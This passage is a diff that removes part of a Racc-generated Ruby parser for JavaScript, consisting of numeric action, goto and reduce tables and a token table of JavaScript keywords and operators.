-    28,   358,   572,   420,   418,   449,   424,   416,   401,   nil,
-    -9,  3208,   nil,   nil,  3563,   nil,  3977,   nil,   nil,   nil,
-   786,  5983,   710,  6632,  6809,  6927,  7163,  6101,  3149,  3090,
-  3031,  2618,  2146,  2205,  2441,  2559,  1910,  2677,  2736,  2795,
-  2854,  2913,   nil,   -50,   -10,   634,   220,   nil,   234,   264,
-   384,   nil,    32,   nil,   nil,   nil,   nil,   nil,   nil,  3504,
-   558,   385,   400,   394,   374,   nil,   nil,   nil,   nil,   455,
-   355,   nil,   555,   nil,   165,   719,   716,   789,   710,   703,
-   147,   136,   299,   223,   206,   472,   476,   480,   538,   515,
-   nil,   525,   508,   538,  5924,   604,  5865,  5806,   nil,   nil,
-   623,   564,   102,   573,   585,   393,   nil,   587,   nil,   330,
-   nil,   254,   607,   178,    -1,   406,  3386,  3327,   nil,   -66,
-   624,  3268,   nil,   127,     7,   725,   nil,  2972,   683,   697,
-   862,   938,   709,   nil,   710,   711,  1014,   nil,   nil,   nil,
-   nil,   nil,   716,   nil,  2323,   380,  1090,   nil,   798,   742,
-   nil,    53,   809,   nil,   758,   767,  1166,   nil,   nil,   769,
-  1242,   773,  1394,   nil,   773,  1546,  1698,   781,   nil,   nil,
-   781,   nil,   nil,  1850,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil ]
-
-racc_action_default = [
-    -1,  -294,    -2,    -3,    -5,    -6,    -7,    -8,    -9,   -10,
-   -11,   -12,   -13,   -14,   -15,   -16,   -17,   -18,   -19,   -20,
-   -21,   -22,   -23,   -24,   -25,   -26,   -27,   -28,   -40,   -41,
-   -42,   -43,  -294,   -50,   -59,   -65,  -294,   -82,   -81,   -86,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -100,
-  -101,  -106,  -113,  -120,  -137,  -154,  -163,  -169,  -175,  -181,
-  -187,  -193,  -199,  -217,  -294,    -1,  -294,  -294,  -238,  -294,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -294,  -294,    -4,  -294,   -36,  -294,   -43,  -294,   -54,
-   -55,   -63,  -294,   -80,   -79,   -83,   -98,   -99,  -102,  -110,
-  -116,  -124,  -144,  -159,  -165,  -171,  -177,  -183,  -189,  -195,
-  -213,  -294,  -294,  -294,   -51,   -52,  -294,  -294,   -71,  -294,
-   -63,   -66,   -72,  -294,  -294,   -87,   -88,  -294,  -201,  -202,
-  -203,  -204,  -205,  -206,  -207,  -208,  -209,  -210,  -211,  -212,
-   -83,   -89,   -90,   -91,   -92,   -93,   -94,   -95,   -96,   -97,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -294,  -294,  -294,  -294,  -239,  -240,  -294,  -294,  -222,
-  -226,  -294,  -232,  -234,  -294,  -294,  -294,  -253,  -255,  -256,
-  -294,  -259,  -260,  -294,  -294,  -263,  -264,  -294,  -294,  -294,
-  -294,  -283,  -284,  -294,   541,  -277,  -294,  -294,  -294,   -34,
-  -294,   -37,   -44,  -294,  -294,  -294,   -67,   -63,   -64,   -68,
-  -294,  -294,   -84,   -85,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,   -45,   -48,   -46,   -50,   -53,  -294,   -61,   -75,  -294,
-   -77,   -62,  -294,   -74,  -200,  -107,  -108,  -109,  -114,  -115,
-  -121,  -122,  -123,  -138,  -139,  -140,  -141,  -142,  -143,  -155,
-  -156,  -157,  -158,  -164,  -170,  -176,  -182,  -188,  -294,  -218,
-  -219,  -220,  -221,  -294,  -227,  -294,  -230,  -231,  -294,  -235,
-  -294,  -294,  -294,   -83,  -131,  -149,  -161,  -167,  -173,  -179,
-  -185,  -191,  -197,  -215,  -254,  -294,  -294,  -257,  -258,  -261,
-  -262,  -265,  -266,  -294,  -294,  -278,  -279,  -294,  -294,  -294,
-  -294,  -294,  -294,  -294,  -294,   -38,  -214,  -294,   -57,   -58,
-  -294,   -70,  -196,  -103,  -104,  -105,  -111,  -112,  -117,  -118,
-  -119,  -125,  -126,  -127,  -128,  -129,  -130,  -145,  -146,  -147,
-  -148,  -160,  -166,  -172,  -178,  -184,  -294,  -294,  -294,  -291,
-  -294,  -294,   -60,   -76,  -294,   -73,  -294,  -223,  -236,  -233,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,  -294,
-  -294,  -251,  -224,  -294,  -228,  -294,  -294,  -280,  -294,  -294,
-  -294,   -29,  -294,   -30,   -31,   -35,   -39,   -56,   -69,  -294,
-    -1,  -294,  -294,  -294,  -294,   -47,   -49,   -78,  -194,  -241,
-  -294,  -245,   -83,  -198,  -294,  -132,  -133,  -134,  -135,  -136,
-  -150,  -151,  -152,  -153,  -162,  -168,  -174,  -180,  -186,  -294,
-  -216,  -252,  -294,  -294,  -251,  -229,  -294,  -294,  -267,  -268,
-  -271,  -294,    -1,  -294,  -294,  -294,  -190,  -294,  -293,    -1,
-  -292,    -1,  -294,  -294,  -294,  -294,  -294,  -251,  -225,  -228,
-  -294,  -294,  -237,  -294,  -294,  -272,  -273,  -294,  -294,  -294,
-    -1,    -1,  -294,  -287,  -294,  -294,    -1,  -242,  -243,  -244,
-  -248,  -192,  -294,  -229,  -251,  -294,  -294,  -269,  -271,  -294,
-  -274,  -294,  -281,  -285,  -294,  -294,    -1,  -288,  -289,  -294,
-  -294,  -294,  -294,  -249,  -294,    -1,    -1,  -294,  -286,   -32,
-  -294,  -290,  -246,  -294,  -250,  -270,  -276,  -275,  -282,   -33,
-  -247 ]
-
-racc_goto_table = [
-    34,   209,    34,   182,     1,   200,    95,   185,   179,   112,
-   455,    88,    50,   402,    50,   118,   286,   122,   368,   313,
-   121,   205,   141,   142,   143,   144,   145,   146,   147,   148,
-   149,   270,   271,   272,   452,   484,   279,   280,   281,   282,
-   268,   269,   287,   273,   274,   275,   276,   277,   278,    95,
-   285,   284,    95,   283,   194,   444,   447,   199,   440,   441,
-   442,   443,   314,   294,   178,    34,   299,   446,   120,   177,
-    34,   216,   304,   219,   252,   127,   218,    50,   403,   445,
-   448,   260,    50,   524,    34,   503,    95,   480,   259,   264,
-    95,   364,   181,    95,   113,   256,    50,    95,   410,   315,
-   261,    95,   262,   210,   459,    83,   348,   349,   350,   508,
-   502,   357,   358,   359,   360,   346,   347,   365,   351,   352,
-   353,   354,   355,   356,   217,   363,   362,   510,   361,   nil,
-   nil,   224,   265,   266,   267,   288,   289,   521,   nil,   424,
-   nil,   467,   nil,   nil,   nil,   nil,   nil,    95,    95,   nil,
-   478,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    95,   nil,
-    95,   303,   nil,   300,   nil,   302,   nil,   nil,   nil,   nil,
-   nil,    95,    95,   nil,   nil,   336,   323,   324,   nil,   nil,
-   nil,   465,   nil,   489,   nil,   nil,   342,    95,    95,   nil,
-   494,   nil,   495,   337,    95,   nil,   nil,   339,    95,   340,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   343,   344,   345,
-   366,   514,   515,   nil,   nil,   433,   nil,   519,   nil,   nil,
-   nil,   nil,    95,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   371,   449,   450,   nil,   379,   377,   nil,   530,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   415,
-   nil,   nil,   nil,   407,   nil,   nil,   nil,   378,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   304,    95,
-   435,   436,   437,   438,   439,   304,   304,   304,   304,   304,
-   304,   304,   304,   304,   304,   304,   nil,   nil,   482,   nil,
-   nil,   nil,   411,   nil,   413,   414,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,    95,   nil,    95,    95,   501,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   429,   nil,   431,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   426,   nil,   nil,   427,   nil,   428,   nil,
-   nil,   304,   458,   nil,   nil,    95,   nil,   nil,    95,   nil,
-    95,   nil,   nil,   nil,   nil,    95,   nil,   432,    95,   nil,
-   430,   304,   nil,   434,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   432,   432,    95,   nil,   nil,   nil,   nil,
-    34,   466,    34,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,    50,    95,    50,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,    34,   nil,   nil,   nil,   nil,
-   497,   nil,   500,   nil,   512,   nil,   nil,    50,   nil,   nil,
-    34,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    95,   nil,
-   432,    95,    50,   nil,   nil,   nil,   483,   nil,   nil,   nil,
-   nil,   nil,   nil,   523,   nil,   nil,   nil,   nil,   nil,   nil,
-   432,    95,   nil,   538,   nil,    95,   nil,   532,   nil,   534,
-   505,    95,    34,   nil,   nil,   nil,   511,   nil,   nil,    34,
-   540,    34,   nil,    34,    50,    34,   nil,   nil,    95,   nil,
-   nil,    50,   nil,    50,   nil,    50,   nil,    50,   nil,   nil,
-    34,    34,   nil,   nil,   nil,   nil,    34,   nil,   nil,   nil,
-   nil,   nil,    50,    50,   nil,   nil,    34,   nil,    50,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,    34,   nil,    50,   nil,
-    34,   nil,    34,   nil,   nil,    34,    34,   nil,    50,   536,
-   537,   nil,    50,    34,    50,   nil,   nil,    50,    50,   nil,
-   nil,   nil,   nil,   nil,   nil,    50 ]
-
-racc_goto_check = [
-    29,    23,    29,    93,     1,     6,    44,     5,    87,    32,
-    91,    31,    48,    89,    48,    37,    69,    37,    26,    80,
-    39,     5,    49,    49,    49,    49,    49,    49,    49,    49,
-    49,    53,    53,    53,    95,    97,    57,    57,    57,    57,
-    51,    51,    72,    55,    55,    55,    55,    55,    55,    44,
-    66,    63,    44,    60,    31,    61,    70,    31,    58,    58,
-    58,    58,    84,    90,    86,    29,    90,    67,    35,     1,
-    29,    37,    55,    37,    24,    82,    39,    48,    88,    64,
-    73,    24,    48,    97,    29,    91,    44,    95,    43,    24,
-    44,    69,    92,    44,    33,    31,    48,    44,    26,    94,
-    37,    44,    31,    27,    96,     3,    53,    53,    53,    98,
-    95,    57,    57,    57,    57,    51,    51,    72,    55,    55,
-    55,    55,    55,    55,    35,    66,    63,   100,    60,   nil,
-   nil,    82,    49,    49,    49,    24,    24,    95,   nil,    26,
-   nil,    25,   nil,   nil,   nil,   nil,   nil,    44,    44,   nil,
-    89,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    44,   nil,
-    44,    44,   nil,    31,   nil,    31,   nil,   nil,   nil,   nil,
-   nil,    44,    44,   nil,   nil,    24,    31,    31,   nil,   nil,
-   nil,    26,   nil,    25,   nil,   nil,    24,    44,    44,   nil,
-    25,   nil,    25,    31,    44,   nil,   nil,    37,    44,    31,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,    49,    49,    49,
-    24,    25,    25,   nil,   nil,    80,   nil,    25,   nil,   nil,
-   nil,   nil,    44,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-    32,    80,    80,   nil,    93,    87,   nil,    25,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    23,
-   nil,   nil,   nil,     6,   nil,   nil,   nil,    24,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    55,    44,
-    55,    55,    55,    55,    55,    55,    55,    55,    55,    55,
-    55,    55,    55,    55,    55,    55,   nil,   nil,    80,   nil,
-   nil,   nil,    24,   nil,    24,    24,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,    44,   nil,    44,    44,    80,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,     5,   nil,     5,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,    24,   nil,   nil,    24,   nil,    24,   nil,
-   nil,    55,     5,   nil,   nil,    44,   nil,   nil,    44,   nil,
-    44,   nil,   nil,   nil,   nil,    44,   nil,    44,    44,   nil,
-    31,    55,   nil,    31,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,    44,    44,    44,   nil,   nil,   nil,   nil,
-    29,    24,    29,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,    48,    44,    48,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,    29,   nil,   nil,   nil,   nil,
-     5,   nil,     5,   nil,     6,   nil,   nil,    48,   nil,   nil,
-    29,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    44,   nil,
-    44,    44,    48,   nil,   nil,   nil,    31,   nil,   nil,   nil,
-   nil,   nil,   nil,     5,   nil,   nil,   nil,   nil,   nil,   nil,
-    44,    44,   nil,     6,   nil,    44,   nil,     5,   nil,     5,
-    31,    44,    29,   nil,   nil,   nil,    31,   nil,   nil,    29,
-     5,    29,   nil,    29,    48,    29,   nil,   nil,    44,   nil,
-   nil,    48,   nil,    48,   nil,    48,   nil,    48,   nil,   nil,
-    29,    29,   nil,   nil,   nil,   nil,    29,   nil,   nil,   nil,
-   nil,   nil,    48,    48,   nil,   nil,    29,   nil,    48,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,    29,   nil,    48,   nil,
-    29,   nil,    29,   nil,   nil,    29,    29,   nil,    48,     1,
-     1,   nil,    48,    29,    48,   nil,   nil,    48,    48,   nil,
-   nil,   nil,   nil,   nil,   nil,    48 ]
-
-racc_goto_pointer = [
-   nil,     4,   nil,   103,   nil,   -63,   -74,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   -85,   -38,  -279,  -231,    17,   nil,     0,
-   nil,   -21,   -24,    61,   nil,    32,   nil,   -20,   nil,   -16,
-   nil,   nil,   nil,   -31,   -26,   nil,   nil,   nil,    12,   -18,
-   nil,  -113,   nil,  -124,   nil,  -115,   nil,  -128,  -332,   nil,
-  -115,  -339,   nil,  -118,  -316,   nil,  -120,  -329,   nil,  -155,
-  -341,   nil,  -130,  -318,   nil,   nil,   nil,   nil,   nil,   nil,
-  -168,   nil,    36,   nil,  -125,   nil,    -2,   -58,  -238,  -303,
-  -117,  -394,    25,   -64,   -88,  -367,  -302,  -425,  -375,   nil,
-  -358 ]
-
-racc_goto_default = [
-   nil,   468,     2,     3,     4,     5,     6,     7,     8,     9,
-    10,    11,    12,    13,    14,    15,    16,    17,    18,    19,
-    20,    21,    29,   nil,   110,   nil,   nil,   nil,    89,    85,
-    30,   451,   nil,   nil,   114,    91,    90,   nil,    35,    94,
-    38,    93,    37,   nil,   140,    39,    96,    49,    97,    98,
-    51,    99,    52,   100,    53,   101,    54,   102,   305,    55,
-   103,   306,    56,   104,   307,    57,   105,   308,    58,   106,
-   309,    59,   107,   310,    60,   108,   311,    61,   109,   312,
-   nil,    62,   383,    63,   nil,    64,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   485,
-   486 ]
-
-racc_reduce_table = [
-  0, 0, :racc_error,
-  0, 89, :_reduce_1,
-  1, 89, :_reduce_2,
-  1, 90, :_reduce_none,
-  2, 90, :_reduce_4,
-  1, 91, :_reduce_none,
-  1, 91, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 93, :_reduce_none,
-  1, 110, :_reduce_23,
-  1, 110, :_reduce_24,
-  1, 110, :_reduce_25,
-  1, 110, :_reduce_26,
-  1, 110, :_reduce_27,
-  1, 110, :_reduce_28,
-  3, 111, :_reduce_29,
-  3, 111, :_reduce_30,
-  3, 111, :_reduce_31,
-  7, 111, :_reduce_32,
-  8, 111, :_reduce_33,
-  1, 115, :_reduce_34,
-  3, 115, :_reduce_35,
-  1, 116, :_reduce_none,
-  2, 116, :_reduce_37,
-  3, 116, :_reduce_38,
-  4, 116, :_reduce_39,
-  1, 117, :_reduce_40,
-  1, 117, :_reduce_none,
-  1, 117, :_reduce_none,
-  1, 117, :_reduce_43,
-  3, 117, :_reduce_44,
-  3, 118, :_reduce_45,
-  3, 118, :_reduce_46,
-  5, 118, :_reduce_47,
-  2, 121, :_reduce_48,
-  4, 121, :_reduce_49,
-  0, 120, :_reduce_50,
-  1, 120, :_reduce_none,
-  1, 122, :_reduce_52,
-  2, 122, :_reduce_53,
-  1, 123, :_reduce_none,
-  1, 123, :_reduce_none,
-  4, 123, :_reduce_56,
-  3, 123, :_reduce_57,
-  3, 123, :_reduce_58,
-  1, 126, :_reduce_none,
-  4, 126, :_reduce_60,
-  3, 126, :_reduce_61,
-  3, 126, :_reduce_62,
-  1, 127, :_reduce_none,
-  2, 127, :_reduce_64,
-  1, 128, :_reduce_none,
-  2, 128, :_reduce_66,
-  2, 129, :_reduce_67,
-  2, 129, :_reduce_68,
-  4, 129, :_reduce_69,
-  3, 129, :_reduce_70,
-  2, 130, :_reduce_71,
-  2, 130, :_reduce_72,
-  4, 130, :_reduce_73,
-  3, 130, :_reduce_74,
-  2, 125, :_reduce_75,
-  3, 125, :_reduce_76,
-  1, 131, :_reduce_77,
-  3, 131, :_reduce_78,
-  1, 132, :_reduce_none,
-  1, 132, :_reduce_none,
-  1, 133, :_reduce_none,
-  1, 133, :_reduce_none,
-  1, 134, :_reduce_none,
-  2, 134, :_reduce_84,
-  2, 134, :_reduce_85,
-  1, 135, :_reduce_none,
-  2, 135, :_reduce_87,
-  2, 135, :_reduce_88,
-  2, 136, :_reduce_89,
-  2, 136, :_reduce_90,
-  2, 136, :_reduce_91,
-  2, 136, :_reduce_92,
-  2, 136, :_reduce_93,
-  2, 136, :_reduce_94,
-  2, 136, :_reduce_95,
-  2, 136, :_reduce_96,
-  2, 136, :_reduce_97,
-  1, 137, :_reduce_none,
-  1, 137, :_reduce_none,
-  1, 138, :_reduce_none,
-  1, 138, :_reduce_none,
-  1, 139, :_reduce_none,
-  3, 139, :_reduce_103,
-  3, 139, :_reduce_104,
-  3, 139, :_reduce_105,
-  1, 140, :_reduce_none,
-  3, 140, :_reduce_107,
-  3, 140, :_reduce_108,
-  3, 140, :_reduce_109,
-  1, 141, :_reduce_none,
-  3, 141, :_reduce_111,
-  3, 141, :_reduce_112,
-  1, 142, :_reduce_none,
-  3, 142, :_reduce_114,
-  3, 142, :_reduce_115,
-  1, 143, :_reduce_none,
-  3, 143, :_reduce_117,
-  3, 143, :_reduce_118,
-  3, 143, :_reduce_119,
-  1, 144, :_reduce_none,
-  3, 144, :_reduce_121,
-  3, 144, :_reduce_122,
-  3, 144, :_reduce_123,
-  1, 145, :_reduce_none,
-  3, 145, :_reduce_125,
-  3, 145, :_reduce_126,
-  3, 145, :_reduce_127,
-  3, 145, :_reduce_128,
-  3, 145, :_reduce_129,
-  3, 145, :_reduce_130,
-  1, 146, :_reduce_none,
-  3, 146, :_reduce_132,
-  3, 146, :_reduce_133,
-  3, 146, :_reduce_134,
-  3, 146, :_reduce_135,
-  3, 146, :_reduce_136,
-  1, 147, :_reduce_none,
-  3, 147, :_reduce_138,
-  3, 147, :_reduce_139,
-  3, 147, :_reduce_140,
-  3, 147, :_reduce_141,
-  3, 147, :_reduce_142,
-  3, 147, :_reduce_143,
-  1, 148, :_reduce_none,
-  3, 148, :_reduce_145,
-  3, 148, :_reduce_146,
-  3, 148, :_reduce_147,
-  3, 148, :_reduce_148,
-  1, 149, :_reduce_none,
-  3, 149, :_reduce_150,
-  3, 149, :_reduce_151,
-  3, 149, :_reduce_152,
-  3, 149, :_reduce_153,
-  1, 150, :_reduce_none,
-  3, 150, :_reduce_155,
-  3, 150, :_reduce_156,
-  3, 150, :_reduce_157,
-  3, 150, :_reduce_158,
-  1, 151, :_reduce_none,
-  3, 151, :_reduce_160,
-  1, 152, :_reduce_none,
-  3, 152, :_reduce_162,
-  1, 153, :_reduce_none,
-  3, 153, :_reduce_164,
-  1, 154, :_reduce_none,
-  3, 154, :_reduce_166,
-  1, 155, :_reduce_none,
-  3, 155, :_reduce_168,
-  1, 156, :_reduce_none,
-  3, 156, :_reduce_170,
-  1, 157, :_reduce_none,
-  3, 157, :_reduce_172,
-  1, 158, :_reduce_none,
-  3, 158, :_reduce_174,
-  1, 159, :_reduce_none,
-  3, 159, :_reduce_176,
-  1, 160, :_reduce_none,
-  3, 160, :_reduce_178,
-  1, 161, :_reduce_none,
-  3, 161, :_reduce_180,
-  1, 162, :_reduce_none,
-  3, 162, :_reduce_182,
-  1, 163, :_reduce_none,
-  3, 163, :_reduce_184,
-  1, 164, :_reduce_none,
-  3, 164, :_reduce_186,
-  1, 165, :_reduce_none,
-  3, 165, :_reduce_188,
-  1, 166, :_reduce_none,
-  5, 166, :_reduce_190,
-  1, 167, :_reduce_none,
-  5, 167, :_reduce_192,
-  1, 169, :_reduce_none,
-  5, 169, :_reduce_194,
-  1, 112, :_reduce_none,
-  3, 112, :_reduce_196,
-  1, 168, :_reduce_none,
-  3, 168, :_reduce_198,
-  1, 171, :_reduce_none,
-  3, 171, :_reduce_200,
-  1, 170, :_reduce_201,
-  1, 170, :_reduce_202,
-  1, 170, :_reduce_203,
-  1, 170, :_reduce_204,
-  1, 170, :_reduce_205,
-  1, 170, :_reduce_206,
-  1, 170, :_reduce_207,
-  1, 170, :_reduce_208,
-  1, 170, :_reduce_209,
-  1, 170, :_reduce_210,
-  1, 170, :_reduce_211,
-  1, 170, :_reduce_212,
-  1, 119, :_reduce_none,
-  3, 119, :_reduce_214,
-  1, 172, :_reduce_none,
-  3, 172, :_reduce_216,
-  1, 173, :_reduce_none,
-  3, 173, :_reduce_218,
-  3, 94, :_reduce_219,
-  3, 95, :_reduce_220,
-  3, 95, :_reduce_221,
-  1, 174, :_reduce_222,
-  3, 174, :_reduce_223,
-  1, 176, :_reduce_224,
-  3, 176, :_reduce_225,
-  1, 175, :_reduce_226,
-  2, 175, :_reduce_227,
-  1, 177, :_reduce_228,
-  2, 177, :_reduce_229,
-  3, 96, :_reduce_230,
-  3, 96, :_reduce_231,
-  1, 180, :_reduce_232,
-  3, 180, :_reduce_233,
-  1, 181, :_reduce_234,
-  2, 181, :_reduce_235,
-  2, 178, :_reduce_236,
-  2, 179, :_reduce_237,
-  1, 97, :_reduce_238,
-  2, 98, :_reduce_239,
-  2, 98, :_reduce_240,
-  5, 99, :_reduce_241,
-  7, 99, :_reduce_242,
-  7, 100, :_reduce_243,
-  7, 100, :_reduce_244,
-  5, 100, :_reduce_245,
-  9, 100, :_reduce_246,
-  10, 100, :_reduce_247,
-  7, 100, :_reduce_248,
-  8, 100, :_reduce_249,
-  9, 100, :_reduce_250,
-  0, 183, :_reduce_251,
-  1, 183, :_reduce_none,
-  0, 182, :_reduce_253,
-  1, 182, :_reduce_none,
-  2, 101, :_reduce_255,
-  2, 101, :_reduce_256,
-  3, 101, :_reduce_257,
-  3, 101, :_reduce_258,
-  2, 102, :_reduce_259,
-  2, 102, :_reduce_260,
-  3, 102, :_reduce_261,
-  3, 102, :_reduce_262,
-  2, 103, :_reduce_263,
-  2, 103, :_reduce_264,
-  3, 103, :_reduce_265,
-  3, 103, :_reduce_266,
-  5, 104, :_reduce_267,
-  5, 105, :_reduce_268,
-  3, 184, :_reduce_269,
-  5, 184, :_reduce_270,
-  0, 185, :_reduce_271,
-  1, 185, :_reduce_none,
-  1, 187, :_reduce_273,
-  2, 187, :_reduce_274,
-  4, 188, :_reduce_275,
-  3, 186, :_reduce_276,
-  3, 106, :_reduce_277,
-  3, 107, :_reduce_278,
-  3, 107, :_reduce_279,
-  4, 108, :_reduce_280,
-  7, 108, :_reduce_281,
-  9, 108, :_reduce_282,
-  2, 109, :_reduce_283,
-  2, 109, :_reduce_284,
-  7, 92, :_reduce_285,
-  8, 92, :_reduce_286,
-  6, 124, :_reduce_287,
-  7, 124, :_reduce_288,
-  7, 124, :_reduce_289,
-  8, 124, :_reduce_290,
-  1, 114, :_reduce_291,
-  3, 114, :_reduce_292,
-  1, 113, :_reduce_293 ]
-
-racc_reduce_n = 294
-
-racc_shift_n = 541
-
-racc_token_table = {
-  false => 0,
-  :error => 1,
-  :NULL => 2,
-  :TRUE => 3,
-  :FALSE => 4,
-  :BREAK => 5,
-  :CASE => 6,
-  :CATCH => 7,
-  :CONST => 8,
-  :CONTINUE => 9,
-  :DEBUGGER => 10,
-  :DEFAULT => 11,
-  :DELETE => 12,
-  :DO => 13,
-  :ELSE => 14,
-  :ENUM => 15,
-  :FINALLY => 16,
-  :FOR => 17,
-  :FUNCTION => 18,
-  :IF => 19,
-  :IN => 20,
-  :INSTANCEOF => 21,
-  :NEW => 22,
-  :RETURN => 23,
-  :SWITCH => 24,
-  :THIS => 25,
-  :THROW => 26,
-  :TRY => 27,
-  :TYPEOF => 28,
-  :VAR => 29,
-  :VOID => 30,
-  :WHILE => 31,
-  :WITH => 32,
-  :EQEQ => 33,
-  :NE => 34,
-  :STREQ => 35,
-  :STRNEQ => 36,
-  :LE => 37,
-  :GE => 38,
-  :OR => 39,
-  :AND => 40,
-  :PLUSPLUS => 41,
-  :MINUSMINUS => 42,
-  :LSHIFT => 43,
-  :RSHIFT => 44,
-  :URSHIFT => 45,
-  :PLUSEQUAL => 46,
-  :MINUSEQUAL => 47,
-  :MULTEQUAL => 48,
-  :DIVEQUAL => 49,
-  :LSHIFTEQUAL => 50,
-  :RSHIFTEQUAL => 51,
-  :URSHIFTEQUAL => 52,
-  :ANDEQUAL => 53,
-  :MODEQUAL => 54,
-  :XOREQUAL => 55,
-  :OREQUAL => 56,
-  :REGEXP => 57,
-  :NUMBER => 58,
-  :STRING => 59,
-  :IDENT => 60,
-  :AUTOPLUSPLUS => 61,
-  :AUTOMINUSMINUS => 62,
-  :IF_WITHOUT_ELSE => 63,
-  ":" => 64,
-  "(" => 65,
-  ")" => 66,
-  "{" => 67,
-  "}" => 68,
-  "," => 69,
-  "[" => 70,
-  "]" => 71,
-  "." => 72,
-  "+" => 73,
-  "-" => 74,
-  "~" => 75,
-  "!" => 76,
-  "*" => 77,
-  "/" => 78,
-  "%" => 79,
-  "<" => 80,
-  ">" => 81,
-  "&" => 82,
-  "^" => 83,
-  "|" => 84,
-  "?" => 85,
-  "=" => 86,
-  ";" => 87 }
-
-racc_nt_base = 88
-
-racc_use_result_var = true
-
-Racc_arg = [
-  racc_action_table,
-  racc_action_check,
-  racc_action_default,
-  racc_action_pointer,
-  racc_goto_table,
-  racc_goto_check,
-  racc_goto_default,
-  racc_goto_pointer,
-  racc_nt_base,
-  racc_reduce_table,
-  racc_token_table,
-  racc_shift_n,
-  racc_reduce_n,
-  racc_use_result_var ]
-
-Racc_token_to_s_table = [
-  "$end",
-  "error",
-  "NULL",
-  "TRUE",
-  "FALSE",
-  "BREAK",
-  "CASE",
-  "CATCH",
-  "CONST",
-  "CONTINUE",
-  "DEBUGGER",
-  "DEFAULT",
-  "DELETE",
-  "DO",
-  "ELSE",
-  "ENUM",
-  "FINALLY",
-  "FOR",
-  "FUNCTION",
-  "IF",
-  "IN",
-  "INSTANCEOF",
-  "NEW",
-  "RETURN",
-  "SWITCH",
-  "THIS",
-  "THROW",
-  "TRY",
-  "TYPEOF",
-  "VAR",
-  "VOID",
-  "WHILE",
-  "WITH",
-  "EQEQ",
-  "NE",
-  "STREQ",
-  "STRNEQ",
-  "LE",
-  "GE",
-  "OR",
-  "AND",
-  "PLUSPLUS",
-  "MINUSMINUS",
-  "LSHIFT",
-  "RSHIFT",
-  "URSHIFT",
-  "PLUSEQUAL",
-  "MINUSEQUAL",
-  "MULTEQUAL",
-  "DIVEQUAL",
-  "LSHIFTEQUAL",
-  "RSHIFTEQUAL",
-  "URSHIFTEQUAL",
-  "ANDEQUAL",
-  "MODEQUAL",
-  "XOREQUAL",
-  "OREQUAL",
-  "REGEXP",
-  "NUMBER",
-  "STRING",
-  "IDENT",
-  "AUTOPLUSPLUS",
-  "AUTOMINUSMINUS",
-  "IF_WITHOUT_ELSE",
-  "\":\"",
-  "\"(\"",
-  "\")\"",
-  "\"{\"",
-  "\"}\"",
-  "\",\"",
-  "\"[\"",
-  "\"]\"",
-  "\".\"",
-  "\"+\"",
-  "\"-\"",
-  "\"~\"",
-  "\"!\"",
-  "\"*\"",
-  "\"/\"",
-  "\"%\"",
-  "\"<\"",
-  "\">\"",
-  "\"&\"",
-  "\"^\"",
-  "\"|\"",
-  "\"?\"",
-  "\"=\"",
-  "\";\"",
-  "$start",
-  "SourceElements",
-  "SourceElementList",
-  "SourceElement",
-  "FunctionDeclaration",
-  "Statement",
-  "Block",
-  "VariableStatement",
-  "ConstStatement",
-  "EmptyStatement",
-  "ExprStatement",
-  "IfStatement",
-  "IterationStatement",
-  "ContinueStatement",
-  "BreakStatement",
-  "ReturnStatement",
-  "WithStatement",
-  "SwitchStatement",
-  "LabelledStatement",
-  "ThrowStatement",
-  "TryStatement",
-  "DebuggerStatement",
